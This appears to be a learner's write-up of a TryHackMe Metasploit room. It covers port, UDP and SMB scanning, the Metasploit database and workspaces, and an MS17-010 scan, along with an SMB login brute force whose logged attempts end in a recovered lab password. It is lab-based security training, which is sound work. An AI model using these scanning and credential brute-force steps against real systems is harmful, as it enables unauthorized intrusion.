
Introduction
In this room, we will learn how to use Metasploit for vulnerability scanning and exploitation. We will also cover how the database feature makes it easier to manage penetration testing engagements with a broader scope. Finally, we will look at generating payloads with msfvenom and how to start a Meterpreter session on most target platforms.
More specifically, the topics we will cover are:
How to scan target systems using Metasploit.
How to use the Metasploit database feature.
How to use Metasploit to conduct a vulnerability scan.
How to use Metasploit to exploit vulnerable services on target systems.
How msfvenom can be used to create payloads and obtain a Meterpreter session on the target system.
Please note that for all questions that require using a wordlist (e.g brute-force attacks), we will be using the wordlist on the AttackBox found at the following path:
/usr/share/wordlists/MetasploitRoom/MetasploitWordlist.txt
If you opt to use your own machine, please download the wordlist by clicking the Download Task Files button to the right.
Start the AttackBox and run Metasploit using the msfconsole command to follow along with this room.
Start the AttackBox and run Metasploit using the msfconsole command to follow along this room. No answer needed
Scanning
Port Scanning
Metasploit has a number of modules to scan open ports on the target system and network. You can list potential port scanning modules available using the search portscan command. Search portscan
msf6 > search portscan
Matching Modules
Name Disclosure Date Rank Check Description
0 auxiliary/scanner/http/wordpress_pingback_access normal No Wordpress Pingback Locator 1 auxiliary/scanner/natpmp/natpmp_portscan normal No NAT-PMP External Port Scanner 2 auxiliary/scanner/portscan/ack normal No TCP ACK Firewall Scanner 3 auxiliary/scanner/portscan/ftpbounce normal No FTP Bounce Port Scanner 4 auxiliary/scanner/portscan/syn normal No TCP SYN Port Scanner 5 auxiliary/scanner/portscan/tcp normal No TCP Port Scanner 6 auxiliary/scanner/portscan/xmas normal No TCP "XMas" Port Scanner 7 auxiliary/scanner/sap/sap_router_portscanner normal No SAPRouter Port Scanner
Interact with a module by name or index, for example use 7 or use auxiliary/scanner/sap/sap_router_portscanner
msf6 >
Port scanning modules will require you to set a few options: Portscan options
msf6 auxiliary(scanner/portscan/tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description
CONCURRENCY 10 yes The number of concurrent ports to check per host DELAY 0 yes The delay between connections, per thread, in milliseconds JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds. PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900) RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' THREADS 1 yes The number of concurrent threads (max one per host) TIMEOUT 1000 yes The socket connect timeout in milliseconds
msf6 auxiliary(scanner/portscan/tcp) >
CONCURRENCY: Number of targets to be scanned simultaneously.
PORTS: Port range to be scanned. Please note that 1-1000 here will not be the same as using Nmap with the default configuration. Nmap will scan the 1000 most used ports, while Metasploit will scan port numbers from 1 to 10000.
RHOSTS: Target or target network to be scanned.
THREADS: Number of threads that will be used simultaneously. More threads will result in faster scans.
You can directly perform Nmap scans from the msfconsole prompt as shown below faster: Using Nmap from the Msfconsole prompt
msf6 > nmap -sS 10.10.12.229 [*] exec: nmap -sS 10.10.12.229
Starting Nmap 7.60 ( https://nmap.org ) at 2021-08-20 03:54 BST Nmap scan report for ip-10-10-12-229.eu-west-1.compute.internal (10.10.12.229) Host is up (0.0011s latency). Not shown: 992 closed ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server 49152/tcp open unknown 49153/tcp open unknown 49154/tcp open unknown 49158/tcp open unknown MAC Address: 02:CE:59:27:C8:E3 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 64.19 seconds msf6 >
As for information gathering, if your engagement requires a speedier approach to port scanning, Metasploit may not be your first choice. However, a number of modules make Metasploit a useful tool for the scanning phase.
UDP service Identification
The scanner/discovery/udp_sweep module will allow you to quickly identify services running over the UDP (User Datagram Protocol). As you can see below, this module will not conduct an extensive scan of all possible UDP services but does provide a quick way to identify services such as DNS or NetBIOS. UDP scan
msf6 auxiliary(scanner/discovery/udp_sweep) > run
[] Sending 13 probes to 10.10.12.229->10.10.12.229 (1 hosts) [] Discovered NetBIOS on 10.10.12.229:137 (JON-PC::U :WORKGROUP::G :JON-PC::U :WORKGROUP::G :WORKGROUP::U :MSBROWSE::G :02:ce:59:27:c8:e3) [] Scanned 1 of 1 hosts (100% complete) [] Auxiliary module execution completed msf6 auxiliary(scanner/discovery/udp_sweep) >
SMB Scans
Metasploit offers several useful auxiliary modules that allow us to scan specific services. Below is an example for the SMB. Especially useful in a corporate network would be smb_enumshares and smb_version but please spend some time to identify scanners that the Metasploit version installed on your system offers. SMB scan
msf6 auxiliary(scanner/smb/smb_version) > run
[+] 10.10.12.229:445 - Host is running Windows 7 Professional SP1 (build:7601) (name:JON-PC) (workgroup:WORKGROUP ) (signatures:optional) [] 10.10.12.229:445 - Scanned 1 of 1 hosts (100% complete) [] Auxiliary module execution completed msf6 auxiliary(scanner/smb/smb_version) >
When performing service scans, it would be important not to omit more "exotic" services such as NetBIOS. NetBIOS (Network Basic Input Output System), similar to SMB, allows computers to communicate over the network to share files or send files to printers. The NetBIOS name of the target system can give you an idea about its role and even importance (e.g. CORP-DC, DEVOPS, SALES, etc.). You may also run across some shared files and folders that could be accessed either without a password or protected with a simple password (e.g. admin, administrator, root, toor, etc.).
Remember, Metasploit has many modules that can help you have a better understanding of the target system and possibly help you find vulnerabilities. It is always worth performing a quick search to see if there are any modules that could be helpful based on your target system.
┌──(kali㉿kali)-[~/Downloads/learning_metasploit]
└─$ sudo su
[sudo] password for kali:
┌──(root㉿kali)-[/home/kali/Downloads/learning_metasploit]
└─# msfconsole
Call trans opt: received. 2-19-98 13:24:18 REC:Loc
Trace program: running
wake up, Neo...
the matrix has you
follow the white rabbit.
knock, knock, Neo.
(`. ,-,
` `. ,;' /
`. ,'/ .'
`. X /.'
.-;--''--.._` ` (
.' / `
, ` ' Q '
, , `._ \
,.| ' `-.;_'
: . ` ; ` ` --,.._;
' ` , ) .'
`._ , ' /_
; ,''-,;' ``-
``-..__``--`
https://metasploit.com
=[ metasploit v6.1.39-dev ]
+ -- --=[ 2214 exploits - 1171 auxiliary - 396 post ]
+ -- --=[ 616 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: Use help <command> to learn more
about any command
msf6 > search portscan
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/portscan/ftpbounce normal No FTP Bounce Port Scanner
1 auxiliary/scanner/natpmp/natpmp_portscan normal No NAT-PMP External Port Scanner
2 auxiliary/scanner/sap/sap_router_portscanner normal No SAPRouter Port Scanner
3 auxiliary/scanner/portscan/xmas normal No TCP "XMas" Port Scanner
4 auxiliary/scanner/portscan/ack normal No TCP ACK Firewall Scanner
5 auxiliary/scanner/portscan/tcp normal No TCP Port Scanner
6 auxiliary/scanner/portscan/syn normal No TCP SYN Port Scanner
7 auxiliary/scanner/http/wordpress_pingback_access normal No Wordpress Pingback Locator
Interact with a module by name or index. For example info 7, use 7 or use auxiliary/scanner/http/wordpress_pingback_access
msf6 > use 5
msf6 auxiliary(scanner/portscan/tcp) > nmap -sS 10.10.212.153
[*] exec: nmap -sS 10.10.212.153
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-24 10:42 EDT
Nmap scan report for 10.10.212.153
Host is up (0.20s latency).
Not shown: 995 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
8000/tcp open http-alt
Nmap done: 1 IP address (1 host up) scanned in 3.37 seconds
How many ports are open on the target system? 5 (You can use the portscanner module on Metasploit.)
msf6 auxiliary(scanner/portscan/tcp) > search udp_sweep
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/discovery/udp_sweep normal No UDP Service Sweeper
Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/discovery/udp_sweep
msf6 auxiliary(scanner/portscan/tcp) > use 0
msf6 auxiliary(scanner/discovery/udp_sweep) > run
[-] Msf::OptionValidateError The following options failed to validate: RHOSTS
msf6 auxiliary(scanner/discovery/udp_sweep) > show options
Module options (auxiliary/scanner/discovery/udp_sweep):
Name Current Setting Required Description
---- --------------- -------- -----------
BATCHSIZE 256 yes The number of hosts to probe in each set
RHOSTS yes The target host(s), see https://github.com/rapid
7/metasploit-framework/wiki/Using-Metasploit
THREADS 10 yes The number of concurrent threads
msf6 auxiliary(scanner/discovery/udp_sweep) > set RHOSTS 10.10.212.153
RHOSTS => 10.10.212.153
msf6 auxiliary(scanner/discovery/udp_sweep) > run
[*] Sending 13 probes to 10.10.212.153->10.10.212.153 (1 hosts)
[*] Discovered NetBIOS on 10.10.212.153:137 (ACME IT SUPPORT:<00>:G :ACME IT SUPPORT:<1e>:G :IP-10-10-212-15:<00>:U :IP-10-10-212-15:<03>:U :IP-10-10-212-15:<20>:U :00:00:00:00:00:00)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Using the relevant scanner, what NetBIOS name can you see? (Use the netbios/nbname module.) ACME IT SUPPORT
sC : run particular scripts on the target and check what all can happen there
sV : check for the versions
-p- : check all the ports
-T4 : it is to speed up things(max is T5)
--min-rate=9326 : nmap will send the packets at the rate of 9326 per second, this 9326 is just a random number that I got from my twitter friend
-vv this stand for very verbose(refers to details) output
msf6 auxiliary(scanner/http/http_version) > nmap -sV -p 8000 10.10.212.153
[*] exec: nmap -sV -p 8000 10.10.212.153
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-24 10:57 EDT
Nmap scan report for 10.10.212.153
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
8000/tcp open http WebFS httpd 1.21
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.69 seconds
What is running on port 8000? (Use the http_version module.) WebFS/1.21
root@ip-10-10-33-195:~# msfconsole
_---------.
.' ####### ;."
.---,. ;@ @@`; .---,..
." @@@@@'.,'@@ @@@@@',.'@@@@ ".
'-.@@@@@@@@@@@@@ @@@@@@@@@@@@@ @;
`.@@@@@@@@@@@@ @@@@@@@@@@@@@@ .'
"--'.@@@ -.@ @ ,'- .'--"
".@' ; @ @ `. ;'
|@@@@ @@@ @ .
' @@@ @@ @@ ,
`.@@@@ @@ .
',@@ @ ; _____________
( 3 C ) /|___ / Metasploit! \
;@'. __*__,." \|--- \_____________/
'(.,...."/
=[ metasploit v5.0.101-dev ]
+ -- --=[ 2048 exploits - 1105 auxiliary - 344 post ]
+ -- --=[ 564 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
Metasploit tip: Use the resource command to run commands from a file
msf5 > search smb_login
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/smb/smb_login normal No SMB Login Check Scanner
msf5 > use 0
msf5 auxiliary(scanner/smb/smb_login) > show options
Module options (auxiliary/scanner/smb/smb_login):
Name Current Setting Required Description
---- --------------- -------- -----------
ABORT_ON_LOCKOUT false yes Abort the run when an account lockout is detected
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
DETECT_ANY_AUTH false no Enable detection of systems accepting any authentication
DETECT_ANY_DOMAIN false no Detect if domain is required for the specified user
PASS_FILE no File containing passwords, one per line
PRESERVE_DOMAINS true no Respect a username that contains a domain name.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RECORD_GUEST false no Record guest-privileged random logins to the database
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads (max one per host)
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
msf5 auxiliary(scanner/smb/smb_login) > set rhosts 10.10.31.207
rhosts => 10.10.31.207
msf5 auxiliary(scanner/smb/smb_login) > set SMBUser penny
SMBUser => penny
msf5 auxiliary(scanner/smb/smb_login) > set pass_file /usr/share/wordlists/MetasploitRoom/MetasploitWordlist.txt
pass_file => /usr/share/wordlists/MetasploitRoom/MetasploitWordlist.txt
msf5 auxiliary(scanner/smb/smb_login) > run
[*] 10.10.31.207:445 - 10.10.31.207:445 - Starting SMB login bruteforce
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:95',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:98',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:2003',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:2008',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:111111',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:123456',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:12345678',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:1qaz2wsx',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:abc',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:abc123',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:abcd123',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:account',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:admin',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:adminadmin',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:administator',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:admins',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:air',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:alpine',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:Autumn2013',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:autumn2013',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:Autumn2014',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:autumn2014',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:Autumn2015',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:autumn2015',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:Autumn2016',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:autumn2016',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:Autumn2017',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:autumn2017',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:bankbank',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:baseball',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:basketball',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:bird',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:burp',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:change',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:changelater',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:changeme',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:company',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:company!',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:company1',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:company1!',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:company123',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:complex',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:complex1',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:complex2',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:complex3',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:complexpassword',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:database',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:default',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:dev',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:devdev',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:devdevdev',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:dirt',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:dragon',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:earth',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:fire',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:football',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:goat',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:goat',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:god',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:guessme',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:hugs',
[-] 10.10.31.207:445 - 10.10.31.207:445 - Failed: '.\penny:letmein',
[+] 10.10.31.207:445 - 10.10.31.207:445 - Success: '.\penny:leo1234'
[*] 10.10.31.207:445 - Scanned 1 of 1 hosts (100% complete)
What is the "penny" user's SMB password? Use the wordlist mentioned in the previous task. leo1234
The Metasploit Database
While it is not required when interacting with a single target on TryHackMe, an actual penetration testing engagement will likely have several targets.
Metasploit has a database function to simplify project management and avoid possible confusion when setting up parameter values.
Attention: To replicate the examples below, please select Kali Linux under the AttackBox menu (see the screenshot below).

You will first need to start the PostgreSQL database, which Metasploit will use with the following command:
systemctl start postgresql
Then you will need to initialize the Metasploit Database using the msfdb init command.
Starting Postgresql
root@kali:# systemctl start postgresql
root@kali:# msfdb init
[i] Database already started
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema
/usr/share/metasploit-framework/vendor/bundle/ruby/2.7.0/gems/activerecord-4.2.11.3/lib/active_record/connection_adapters/abstract_adapter.rb:84: warning: deprecated Object#=~ is called on Integer; it always returns nil
root@kali:~#
You can now launch msfconsole and check the database status using the db_status command.
Checking the database status
msf6 > db_status [*] Connected to msf. Connection type: postgresql. msf6 >
The database feature will allow you to create workspaces to isolate different projects. When first launched, you should be in the default workspace. You can list available workspaces using the workspace command.
Listing workspaces
msf6 > workspace
- default msf6 >
You can add a workspace using the -a parameter or delete a workspace using the -d parameter, respectively. The screenshot below shows that a new workspace named "tryhackme" was created.
Adding a workspace
msf6 > workspace -a tryhackme [] Added workspace: tryhackme [] Workspace: tryhackme msf5 > workspace default
- tryhackme msf6 >
You will also notice that the new database name is printed in red, starting with a * symbol.
You can use the workspace command to navigate between workspaces simply by typing workspace followed by the desired workspace name.
Changing workspaces
msf6 > workspace default
- tryhackme msf5 > workspace default [*] Workspace: default msf5 > workspace tryhackme
- default msf6 >
You can use the workspace -h command to list available options for the workspace command.
Workspace help menu
msf6 > workspace -h Usage: workspace List workspaces workspace -v List workspaces verbosely workspace [name] Switch workspace workspace -a [name] ... Add workspace(s) workspace -d [name] ... Delete workspace(s) workspace -D Delete all workspaces workspace -r Rename workspace workspace -h Show this help information
Different from regular Metasploit usage, once Metasploit is launched with a database, the help command, you will show the Database Backends Commands menu.
Database backend commands
Database Backend Commands
Command Description
analyze Analyze database information about a specific address or address range db_connect Connect to an existing data service db_disconnect Disconnect from the current data service db_export Export a file containing the contents of the database db_import Import a scan result file (filetype will be auto-detected) db_nmap Executes nmap and records the output automatically db_rebuild_cache Rebuilds the database-stored module cache (deprecated) db_remove Remove the saved data service entry db_save Save the current data service connection as the default to reconnect on startup db_status Show the current data service status hosts List all hosts in the database loot List all loot in the database notes List all notes in the database services List all services in the database vulns List all vulnerabilities in the database workspace Switch between database workspaces
If you run a Nmap scan using the db_nmap shown below, all results will be saved to the database.
The db_nmap command
msf6 > db_nmap -sV -p- 10.10.12.229 [] Nmap: Starting Nmap 7.80 ( https://nmap.org ) at 2021-08-20 03:15 UTC [] Nmap: Nmap scan report for ip-10-10-12-229.eu-west-1.compute.internal (10.10.12.229) [] Nmap: Host is up (0.00090s latency). [] Nmap: Not shown: 65526 closed ports [] Nmap: PORT STATE SERVICE VERSION [] Nmap: 135/tcp open msrpc Microsoft Windows RPC [] Nmap: 139/tcp open netbios-ssn Microsoft Windows netbios-ssn [] Nmap: 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) [] Nmap: 3389/tcp open ssl/ms-wbt-server? [] Nmap: 49152/tcp open msrpc Microsoft Windows RPC [] Nmap: 49153/tcp open msrpc Microsoft Windows RPC [] Nmap: 49154/tcp open msrpc Microsoft Windows RPC [] Nmap: 49158/tcp open msrpc Microsoft Windows RPC [] Nmap: 49162/tcp open msrpc Microsoft Windows RPC [] Nmap: MAC Address: 02:CE:59:27:C8:E3 (Unknown) [] Nmap: Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows [] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . [] Nmap: Nmap done: 1 IP address (1 host up) scanned in 94.91 seconds msf6 >
You can now reach information relevant to hosts and services running on target systems with the hosts and services commands, respectively.
Hosts and services
msf6 > hosts
Hosts
address mac name os_name os_flavor os_sp purpose info comments
10.10.12.229 02:ce:59:27:c8:e3 ip-10-10-12-229.eu-west-1.compute.internal Unknown device
msf6 > services Services
host port proto name state info
10.10.12.229 135 tcp msrpc open Microsoft Windows RPC
10.10.12.229 139 tcp netbios-ssn open Microsoft Windows netbios-ssn
10.10.12.229 445 tcp microsoft-ds open Microsoft Windows 7 - 10 microsoft-ds workgroup: WORKGROUP
10.10.12.229 3389 tcp ssl/ms-wbt-server open
10.10.12.229 49152 tcp msrpc open Microsoft Windows RPC
10.10.12.229 49153 tcp msrpc open Microsoft Windows RPC
10.10.12.229 49154 tcp msrpc open Microsoft Windows RPC
10.10.12.229 49158 tcp msrpc open Microsoft Windows RPC
10.10.12.229 49162 tcp msrpc open Microsoft Windows RPC
msf6 >
The hosts -h and services -h commands can help you become more familiar with available options.
Once the host information is stored in the database, you can use the hosts -R command to add this value to the RHOSTS parameter.
Example Workflow
We will use the vulnerability scanning module that finds potential MS17-010 vulnerabilities with the use auxiliary/scanner/smb/smb_ms17_010 command.
We set the RHOSTS value using hosts -R.
We have typed show options to check if all values were assigned correctly. (In this example, 10.10.138.32 is the IP address we have scanned earlier using the db_nmap command)
Once all parameters are set, we launch the exploit using the run or exploit command.
Using saved hosts
msf6 > use auxiliary/scanner/smb/smb_ms17_010 msf5 auxiliary(scanner/smb/smb_ms17_010) > hosts -R
Hosts
address mac name os_name os_flavor os_sp purpose info comments
10.10.12.229 02:ce:59:27:c8:e3 ip-10-10-12-229.eu-west-1.compute.internal Unknown device
RHOSTS => 10.10.12.229
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options
Module options (auxiliary/scanner/smb/smb_ms17_010):
Name Current Setting Required Description
CHECK_ARCH true no Check for architecture on vulnerable hosts CHECK_DOPU true no Check for DOUBLEPULSAR on vulnerable hosts CHECK_PIPE false no Check for named pipe on vulnerable hosts NAMED_PIPES /usr/share/metasploit-framework/data/wordlists/named_pipes.txt yes List of named pipes to check RHOSTS 10.10.12.229 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' RPORT 445 yes The SMB service port (TCP) SMBDomain . no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as THREADS 1 yes The number of concurrent threads (max one per host)
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
If there is more than one host saved to the database, all IP addresses will be used when the hosts -R command is used.
In a typical penetration testing engagement, we could have the following scenario:
Finding available hosts using the db_nmap command
Scanning these for further vulnerabilities or open ports (using a port scanning module)
The services command used with the -S parameter will allow you to search for specific services in the environment.
Querying the database for services
msf6 > services -S netbios
Services
host port proto name state info
10.10.12.229 139 tcp netbios-ssn open Microsoft Windows netbios-ssn
msf6 >
You may want to look for low-hanging fruits such as:
HTTP: Could potentially host a web application where you can find vulnerabilities like SQL injection or Remote Code Execution (RCE).
FTP: Could allow anonymous login and provide access to interesting files.
SMB: Could be vulnerable to SMB exploits like MS17-010
SSH: Could have default or easy to guess credentials
RDP: Could be vulnerable to Bluekeep or allow desktop access if weak credentials were used.
As you can see, Metasploit has many features to aid in engagements such as the ability to compartmentalize your engagements into workspaces, analyze your results at a high level, and quickly import and explore data.
No answer needed
root@kali:~# systemctl start postgresql
root@kali:~# msfdb init
[i] Database already started
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema
/usr/share/metasploit-framework/vendor/bundle/ruby/2.7.0/gems/activerecord-4.2.11.3/lib/active_record/connection_adapters/abstract_adapter.rb:84: warning: deprecated Object#=~ is called on Integer; it always returns nil
root@kali:~# msfconsole
.,,. .
.\$$$$$L..,,==aaccaacc%#s$b. d8, d8P
d8P #$$$$$$$$$$$$$$$$$$$$$$$$$$$b. `BP d888888p
d888888P '7$$$$\""""''^^`` .7$$$|D*"'``` ?88'
d8bd8b.d8p d8888b ?88' d888b8b _.os#$|8*"` d8P ?8b 88P
88P`?P'?P d8b_,dP 88P d8P' ?88 .oaS###S*"` d8P d8888b $whi?88b 88b
d88 d8 ?8 88b 88b 88b ,88b .osS$$$$*" ?88,.d88b, d88 d8P' ?88 88P `?8b
d88' d88b 8b`?8888P'`?8b`?88P'.aS$$$$Q*"` `?88' ?88 ?88 88b d88 d88
.a#$$$$$$"` 88b d8P 88b`?8888P'
,s$$$$$$$"` 888888P' 88n _.,,,ass;:
.a$$$$$$$P` d88P' .,.ass%#S$$$$$$$$$$$$$$'
.a$###$$$P` _.,,-aqsc#SS$$$$$$$$$$$$$$$$$$$$$$$$$$'
,a$$###$$P` _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####SSSS'
.a$$$$$$$$$$SSS$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS##==--""''^^/$$$$$$'
_______________________________________________________________ ,&$$$$$$'_____
ll&&$$$$'
.;;lll&&&&'
...;;lllll&'
......;;;llll;;;....
` ......;;;;... . .
=[ metasploit v5.0.101-dev ]
+ -- --=[ 2049 exploits - 1108 auxiliary - 344 post ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
Metasploit tip: Enable verbose logging with set VERBOSE true
msf5 > db_status
[*] Connected to msf. Connection type: postgresql.
msf5 > workspace
* default
msf5 > workspace -a tryhackme
[*] Added workspace: tryhackme
[*] Workspace: tryhackme
msf5 > workspace
default
* tryhackme
msf5 > workspace default
[*] Workspace: default
msf5 > workspace
tryhackme
* default
msf5 > workspace -h
Usage:
workspace List workspaces
workspace -v List workspaces verbosely
workspace [name] Switch workspace
workspace -a [name] ... Add workspace(s)
workspace -d [name] ... Delete workspace(s)
workspace -D Delete all workspaces
workspace -r <old> <new> Rename workspace
workspace -h Show this help information
msf5 > help
Core Commands
=============
Command Description
------- -----------
? Help menu
banner Display an awesome metasploit banner
cd Change the current working directory
color Toggle color
connect Communicate with a host
debug Display information useful for debugging
exit Exit the console
get Gets the value of a context-specific variable
getg Gets the value of a global variable
grep Grep the output of another command
help Help menu
history Show command history
load Load a framework plugin
quit Exit the console
repeat Repeat a list of commands
route Route traffic through a session
save Saves the active datastores
sessions Dump session listings and display information about sessions
set Sets a context-specific variable to a value
setg Sets a global variable to a value
sleep Do nothing for the specified number of seconds
spool Write console output into a file as well the screen
threads View and manipulate background threads
tips Show a list of useful productivity tips
unload Unload a framework plugin
unset Unsets one or more context-specific variables
unsetg Unsets one or more global variables
version Show the framework and console library version numbers
Module Commands
===============
Command Description
------- -----------
advanced Displays advanced options for one or more modules
back Move back from the current context
clearm Clear the module stack
info Displays information about one or more modules
listm List the module stack
loadpath Searches for and loads modules from a path
options Displays global options or for one or more modules
popm Pops the latest module off the stack and makes it active
previous Sets the previously loaded module as the current module
pushm Pushes the active or list of modules onto the module stack
reload_all Reloads all modules from all defined module paths
search Searches module names and descriptions
show Displays modules of a given type, or all modules
use Interact with a module by name or search term/index
Job Commands
============
Command Description
------- -----------
handler Start a payload handler as job
jobs Displays and manages jobs
kill Kill a job
rename_job Rename a job
Resource Script Commands
========================
Command Description
------- -----------
makerc Save commands entered since start to a file
resource Run the commands stored in a file
Database Backend Commands
=========================
Command Description
------- -----------
analyze Analyze database information about a specific address or address range
db_connect Connect to an existing data service
db_disconnect Disconnect from the current data service
db_export Export a file containing the contents of the database
db_import Import a scan result file (filetype will be auto-detected)
db_nmap Executes nmap and records the output automatically
db_rebuild_cache Rebuilds the database-stored module cache (deprecated)
db_remove Remove the saved data service entry
db_save Save the current data service connection as the default to reconnect on startup
db_status Show the current data service status
hosts List all hosts in the database
loot List all loot in the database
notes List all notes in the database
services List all services in the database
vulns List all vulnerabilities in the database
workspace Switch between database workspaces
Credentials Backend Commands
============================
Command Description
------- -----------
